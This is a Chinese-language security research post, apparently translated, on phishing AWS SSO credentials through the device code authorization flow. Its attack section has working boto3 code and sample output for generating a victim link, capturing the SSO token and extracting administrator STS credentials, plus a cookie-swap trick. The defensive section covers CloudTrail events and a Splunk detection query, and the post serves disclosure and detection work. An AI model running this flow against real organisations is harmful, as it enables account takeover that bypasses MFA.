通过AWS SSO设备代码认证进行AWS凭据钓鱼攻击(2024年更新)
在企业环境中使用AWS时,最佳实践要求使用单点登录(SSO)服务进行身份和访问管理。AWS SSO(现称为“Identity Center”)是一个流行的解决方案,可与Okta等第三方提供商集成,并允许集中管理多个AWS账户中的角色和权限。
在本文中,我们证明AWS SSO在设计上容易受到设备代码认证钓鱼攻击——就像任何实现OpenID Connect设备代码认证的身份提供商一样。该技术最初由Dr. Nestori Syynimaa为Azure AD演示。该功能为攻击者提供了强大的钓鱼向量,使MFA(包括Yubikeys)或IP白名单等控制在IdP级别无效。
本文的更改:
- 2024年11月28日:确保附录中列出的CloudTrail事件仍然正确;更新术语以提及AWS SSO现名为AWS Identity Center;添加说明指出CloudTrail事件’sso:ListApplications’似乎不再记录受害者IP;添加对CloudTrail事件’sso:GetRoleCredentials’的缺失引用。
背景
AWS SSO
AWS SSO是AWS提供的一项服务,用于管理多个AWS账户的角色和身份。引用文档:
通过AWS SSO,您可以轻松集中管理对AWS Organizations中所有账户的访问和用户权限。AWS SSO自动配置和维护所有必要的权限,无需在单个账户中进行额外设置。您可以根据常见工作职能分配用户权限,并自定义这些权限以满足特定的安全要求。
AWS SSO中的身份来自AWS SSO身份存储本身。用户和组可以通过以下三种方式进入此身份存储:
- 手动添加到AWS SSO身份存储本身。在这种情况下,它们直接在AWS SSO中创建,AWS SSO充当IdP。(凭据和密码重置流程也由AWS SSO处理。)
- 从Active Directory同步到AWS SSO身份存储(单向同步)。
- 从任何支持SAML的第三方身份提供商(如Okta)同步。如果身份提供商支持SCIM,用户和组也可以自动同步到AWS SSO身份存储(单向同步)。
设置身份提供商后,您可以开始为各种账户中的用户和组分配权限集。
从CLI使用AWS SSO
工程师面对AWS时的第一个问题是:如何从CLI使用它?作为安全人员,我们的重点通常是避免使用IAM用户,因为其凭据是长期有效的,并且难以安全管理。
这就是为什么AWS SSO实现了部分OAuth 2.0规范——刚好足以从CLI使用它:
AWS SSO OpenID Connect (OIDC)服务目前仅实现OAuth 2.0设备授权授予标准(https://tools.ietf.org/html/rfc8628)的必要部分,以启用与AWS CLI的SSO认证。对本地应用程序经常需要的其他OIDC流程(如授权代码流+ PKCE)的支持将在未来版本中解决。
https://docs.aws.amazon.com/singlesignon/latest/OIDCAPIReference/Welcome.html
从命令行使用AWS SSO在AWS CLI或aws-vault等工具中本地支持:
1
2
3
4
5
6
7
8
|
$ aws configure sso
SSO start URL [None]: https://my-sso-portal.awsapps.com/start
SSO region [None]: us-east-1
Using a browser, open the following URL:
https://device.sso.eu-central-1.amazonaws.com/
and enter the following code:
QCFK-N451
|
在此初始认证流程之后,您将看到您可以访问的AWS账户列表以及可用的角色。
设备代码授予类型
底层发生以下情况:
- 客户端应用程序(AWS CLI)通过调用
sso-oidc:RegisterClient
注册OIDC客户端。它不需要认证即可执行此操作。
- 客户端应用程序调用
sso-oidc:StartDeviceAuthorization
。这会生成一个类似https://device.sso.eu-central-1.amazonaws.com/?user_code=SPNB-NVKN
的URL。
- 最终用户打开链接并被重定向到其身份提供商进行认证。如果日常使用AWS,他们可能已经登录并透明地重定向到下一步。
- 最终用户打开此URL并看到以下提示:
一旦最终用户接受提示,客户端应用程序调用sso-oidc:CreateToken
以检索AWS SSO访问令牌。
使用此访问令牌,客户端应用程序可以使用AWS SSO API,特别是:
- 列出最终用户有权访问的所有AWS账户(
sso:ListAccounts
)
- 列出最终用户在每个AWS账户中可用的所有角色(
sso:ListAccountRoles
)
- 承担任何这些角色以检索临时STS凭据(
sso:GetRoleCredentials
)
使用AWS SSO设备代码进行钓鱼攻击
您可能已经想到;这是一个很好的钓鱼向量。除了使用合法的AWS网站外,它使所有企业级安全机制(如多因素认证、设备信任等)无效。
让我们展开这个场景。
步骤0:先决条件
攻击者需要提前知道受害者组织的AWS SSO URL,该URL看起来像<something>.awsapps.com
。这可以通过社会工程、猜测、子域发现等找到。
这对攻击者来说并不难。许多组织只使用他们的名称。在awsapps.com上运行sublist3r已经产生数百个结果。
有了受害者特定的AWS SSO URL,攻击者可以轻松确定AWS SSO配置在哪个区域(下一步需要):
1
2
|
$ curl https://victim.awsapps.com/start/ -s | grep 'meta name="region"'
<meta name="region" content="us-east-1"/>
|
步骤1:攻击者启动设备代码授权流程
以下是使用Python的情况:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
REGION = 'us-east-1'
AWS_SSO_START_URL = 'https://xxx.awsapps.com/start'
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'my-attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
|
步骤2:攻击者将设备授权URL发送给受害者
例如,通过钓鱼。受害者通过其通常的身份提供商(如Okta)进行认证。通过所有身份提供商特定的检查(MFA、设备信任等)后,他们只需要接受以下提示:
步骤3:攻击者检索SSO访问令牌
一旦受害者接受提示,攻击者使用sso-oidc:CreateToken
检索SSO访问令牌:
1
2
3
4
5
6
7
|
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
|
此处检索的SSO访问令牌有效期为8小时。有足够的时间根据需要执行和重复下一步骤。
步骤4:攻击者使用SSO访问令牌访问AWS账户
拥有受害者的SSO访问令牌后,攻击者枚举受害者有权访问的AWS账户以及可用的角色。
1
|
aws_accounts = sso.list_accounts(accessToken=sso_token)
|
1
2
3
4
5
6
7
8
9
10
11
12
|
[
{
"accountId": "11xxxxxxxx",
"accountName": "Dev account",
"emailAddress": "my-dev-account@example.com"
},
{
"accountId": "54xxxxxxx",
"accountName": "Prod account",
"emailAddress": "my-prod-account@example.com"
}
]
|
然后,列出特定账户中可用的AWS SSO角色(“权限集”):
1
2
3
4
|
roles_response = sso.list_account_roles(
accessToken=sso_token,
accountId="11xxxxxxxx"
)
|
1
2
3
4
5
6
7
8
9
10
|
[
{
"roleName": "AdministratorAccess",
"accountId": "11xxxxxxxxxx"
},
{
"roleName": "ViewOnlyAccess",
"accountId": "11xxxxxxxxxx"
}
]
|
最后,检索特定AWS账户和权限集的STS凭据:
1
2
3
4
5
|
sts_creds = sso.get_role_credentials(
accessToken=sso_token,
roleName='AdministratorAccess',
accountId='11...'
)
|
1
2
3
4
5
6
|
{
"accessKeyId": "ASIARW4JVWBODWMM5TMN",
"secretAccessKey": "Ocq..m1T",
"sessionToken": "IQoJb3..VTNA==",
"expiration": 1622567348000
}
|
1
2
3
4
5
6
7
8
9
10
|
$ export AWS_ACCESS_KEY_ID=ASIARW4JVWBODWMM5TMN
$ export AWS_SECRET_ACCESS_KEY=Ocq..m1T
$ export AWS_SESSION_TOKEN=IQoJb3..VTNA==
$ aws sts get-caller-identity
{
"UserId": "AROAR...:christophetd",
"Account": "11xxxxxxxxxx",
"Arn": "arn:aws:sts::11xxxxxxxxxx:assumed-role/AWSReservedSSO_AdministratorAccess_e3db84cb28e132d6/christophetd"
}
|
或者,对于喜欢使用GUI的懒惰攻击者,只需:
- 打开您自己的AWS SSO页面(例如attacker.awsapps.com/start)
- 在浏览器中,将cookie中的
x-amz-sso_authn
替换为受害者的SSO令牌
- 刷新页面
…最终您将获得受害者的AWS账户列表,可以从GUI很好地访问。
没有工具的博客文章算什么?
我发布了一个小型Python工具来测试这个概念:
https://github.com/christophetd/aws-sso-device-code-authentication
请注意,此工具并不完全有用,因为您可以使用aws configure sso
实现相同的目的。但至少,它具有教育意义,并且不会弄乱您当前的AWS CLI配置!
检测与预防
预防
这是一个功能,而不是错误。如果您使用AWS SSO,则无法防止此类钓鱼攻击。也无法使用SCP将sso-oidc:CreateToken
的调用限制为特定条件,因为此API调用是针对组织主账户执行的(不受SCP约束)。
攻击每个步骤的CloudTrail事件
在检测方面,对sso-oidc:RegisterClient
和sso-oidc:StartDeviceAuthorization
的初始调用不会记录到CloudTrail,因为它们是在没有认证的情况下执行的,并且不是针对组织的特定AWS账户。但CloudTrail确实提供了一些信息。
首先,sso:ListApplications
在受害者显示“Sign-in to AWS CLI”弹出窗口的确切时间记录。
注意:截至2024年11月28日,此事件似乎不一定总是记录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<victim display name>"
},
"eventTime": "...",
"eventSource": "sso.amazonaws.com",
"eventName": "ListApplications",
"sourceIPAddress": "<Victim source IP>",
"userAgent": "<Victim browser user agent>"
}
|
然后,一旦受害者接受提示并且攻击者检索受害者的AWS SSO访问令牌,sso-oidc:CreateToken
生成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<victim display name>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "CreateToken",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"requestParameters": {
"clientId": "...",
"clientSecret": "HIDDEN_DUE_TO_SECURITY_REASONS",
"grantType": "urn:ietf:params:oauth:grant-type:device_code",
"deviceCode": "..."
},
"responseElements": {
"accessToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
"tokenType": "Bearer",
"expiresIn": 28800,
"refreshToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
"idToken": "HIDDEN_DUE_TO_SECURITY_REASONS"
},
"recipientAccountId": "<organization master account ID>"
}
|
最后,当攻击者通过AWS SSO枚举受害者有权访问的AWS账户时,sso:ListAccounts
和sso:ListAccountRoles
被记录:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<Victim e-mail>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "ListAccountRoles",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"recipientAccountId": "<organization master account ID>",
"serviceEventDetails": {
"account_id": "<enumerated child account ID>"
}
}
|
然后,当攻击者为特定AWS账户和SSO权限集生成AWS凭据时,sso:GetRoleCredentials
被记录:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
"eventVersion": "1.10",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<Victim e-mail>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "GetRoleCredentials",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"recipientAccountId": "<organization master account ID>",
"serviceEventDetails": {
"account_id": "<child account ID>",
"role_name": "<SSO permission set name>"
}
}
|
总结:
攻击步骤 |
CloudTrail事件 |
源IP |
说明 |
攻击者生成设备代码URL |
无 |
N/A |
|
受害者显示“Sign-in with AWS CLI”提示 |
sso:ListApplications |
受害者IP |
截至2024年11月28日,此事件似乎不一定总是记录。 |
受害者提交“Sign-in with AWS CLI”提示 |
无 |
N/A |
|
攻击者检索受害者的AWS SSO访问令牌 |
sso-oidc:CreateToken |
攻击者IP |
虽然’CreateToken’是SSO OIDC API的一部分,但它在CloudTrail中以sso.amazonaws.com 的eventSource记录。 |
攻击者枚举受害者的AWS账户和角色 |
sso:ListAccounts
sso:ListAccountRoles |
攻击者IP |
|
攻击者检索特定账户和权限集的AWS凭据 |
sso:GetRoleCredentials |
攻击者IP |
|
检测策略
以下是一些检测/伪预防的线索。
在电子邮件网关上阻止并警报device.sso.<region>.amazonaws.com
链接
设备认证链接预计在本地生成。电子邮件中指向域device.sso.<region>.amazonaws.com
的链接应被视为高度可疑并进行调查。
当不同的源IP在短时间内生成sso:ListApplications
和sso-oidc:CreateToken
事件时警报
同样,由于设备代码预计在本地使用,有两个不同的IP地址显示“Sign-in with AWS CLI prompt”(受害者)并生成AWS SSO访问令牌(攻击者)是可疑的,应该是一个可行的检测策略。使用Splunk和10分钟的时间间隔:
1
2
3
4
5
6
7
8
9
10
11
|
sourcetype=aws:cloudtrail eventSource=sso.amazonaws.com
| search eventName=ListApplications OR (eventName=CreateToken requestParameters.grantType="urn:ietf:params:oauth:grant-type:device_code")
| bucket _time span=10m
| stats
values(sourceIPAddress) as sourceIps,
values(userAgent) as userAgents,
first(userIdentity.userName) as userNames,
distinct_count(sourceIPAddress) as numIps
by userIdentity.principalId, _time
| where numIps >= 2
| table userNames, _time, sourceIps, userAgents
|
(注意我们按principalId而不是userName聚合,因为用户名在sso:ListApplications
中是受害者的电子邮件,而在sso-oidc:CreateToken
中是他们的显示名称。)
为了进一步调整,请考虑:
- 从CreateToken事件搜索中排除受信任的IP地址
- 添加过滤以仅匹配具有2个不同用户代理的情况